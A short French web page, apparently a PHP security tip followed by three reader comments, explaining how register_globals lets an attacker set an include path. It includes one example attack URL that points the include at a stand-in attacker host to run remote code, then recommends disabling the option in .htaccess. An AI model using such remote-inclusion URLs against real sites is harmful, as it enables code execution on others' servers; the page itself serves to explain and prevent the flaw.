Les hackers exploitent souvent la facilité qui consiste à définir les variables GET ou POST en variables globales. Par exemple la variable $_GET['var1'] est également accessible par $var1. Le cas le plus fréquent d'exploitation est l'utilisation d'une variable préfixant le chemin des includes comme :
include($prefix_path . '/chemin_d_include.php');
Ainsi l'appel de l'url http://www.example.com/page.php?prefix_path=http://sitehacker.com/script.txt peut permettre de faire exécuter l'include externe http://sitehacker.com/script.txt/chemin_d_include.php.
La désactivation de cette option nécessite de contrôler tous le code pour toujours accéder aux variables avec les tableaux $_ENV, $_GET, $_POST, $_REQUEST, $_COOKIE et $_SERVER et non directement avec leur nom. Pour plus d'informations vous pouvez lire l'explication détaillée
ici.
Pour éviter cette faille, il suffit de désactiver l'enregistrement global avec cette règle dans le fichier .htaccess.
Creasite
19 Aout 2018 à 23:54je vais essayer ce script
Benji54
11 Aout 2018 à 17:06Merci beaucoup
AnaisJessy
04 Oct 2016 à 23:17Merci beaucoup pour script, je suis éditrice d'un site internet et très souvent je me fait attaqué mon site web...